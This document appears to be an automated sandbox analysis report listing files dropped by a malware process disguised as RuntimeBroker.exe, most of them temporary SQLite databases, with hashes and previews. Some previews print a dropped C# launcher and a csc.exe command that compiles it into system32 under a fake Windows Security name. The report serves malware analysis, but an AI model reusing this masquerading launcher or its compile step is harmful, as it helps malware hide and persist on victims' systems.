Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bLIjAL2CHC

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bRj2zhpUnc

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bZmkMsPMuF

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\baAXtHnJu8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bo2V6UOlUV

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cBTkJEcny2

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cJbHqVw7Nd

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cmP8vP8RjQ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.0.cs

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	393
Entropy (8bit):	4.942776197794233
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLu5j3iFkD:JNVQIbSfhV7TiFkMSfh0jSFkD
MD5:	D5FCFE96B53454B1FBFC3C4DD9B68131
SHA1:	7E5BF2C3B9A3FA3AB85F8C1D80DBAEA18D9BBBC0
SHA-256:	2F65467D61A402D4769F951F47E669B6AE9826C991897C889BB9095D9F4714DA
SHA-512:	2E6D9E9AEBFF97B1D5AA38E199B65D576BA7F7314F9F56DA12571F78EEA42C3D18D4DE84EC09B563DCA12F5EBFFB248C7C3F964C785457E42E398A8190E81898
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\LiveKernelReports\RuntimeBroker.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	253
Entropy (8bit):	5.120081153147471
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8oN723fBBVb:Hu7L//TRq79cQnaprb
MD5:	4186E5C699D9ADFE6A224B79E99849B2
SHA1:	D0436E12D1853164B7F38134880A1CD6EFE5CC97
SHA-256:	AFDB89002F820D9106C922929B0A9F5CD92895CB707E9B5A6D6B28BED5810346
SHA-512:	47EE6AA0B5C6E7704723D06E544BE4EEDFFB0DE1F0E956B319AA61EF53B24C2549C17C3AEE2B04211CE3EF62A3B721672BB0E8D992A12E9ED0E399FBF0917AC7
Malicious:	false
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.0.cs"

C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.out

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (335), with CRLF, CR line terminators
Category:	modified
Size (bytes):	756
Entropy (8bit):	5.26091957917823
Encrypted:	false
SSDEEP:	12:B2MBoMI/u7L//TRq79cQnapraKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:wMjI/un/Vq79tnapraKax5DqBVKVrdFf
MD5:	58BE106DD96337A2B2537A2076AD2572
SHA1:	D74A827B1086780EE24544213D5BE65C9E532851
SHA-256:	34B0C29DD4E11F0C4EAD199FAEC1E970D8F948AF1F7E3972F731AF310312287A
SHA-512:	4B3A32756F464FC695E35A32DF831D407530C73576A927390C4FA701C3C04DE24D2AFA14D8BEE71BB4666DEDD7D2200AD5D0EE404AFD417641D61ACDA7E60415
Malicious:	false
Preview:	.C:\ServerWinRuntimeBroker> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\dBG31pxIKN

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dMqXkQ2jeb

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\de3RQno5mm

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eiaajrfg6o

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ezaGvp12YM

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f8waMqyhGu

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fpyEEbdJ6M

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fulGOXAGc3

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fy4jQj9Qty

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g0cnN19Ln3

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gB0PdRAd96

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gDEAcbZaW9

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gWSGFCRBII

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gukTemmqLA

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
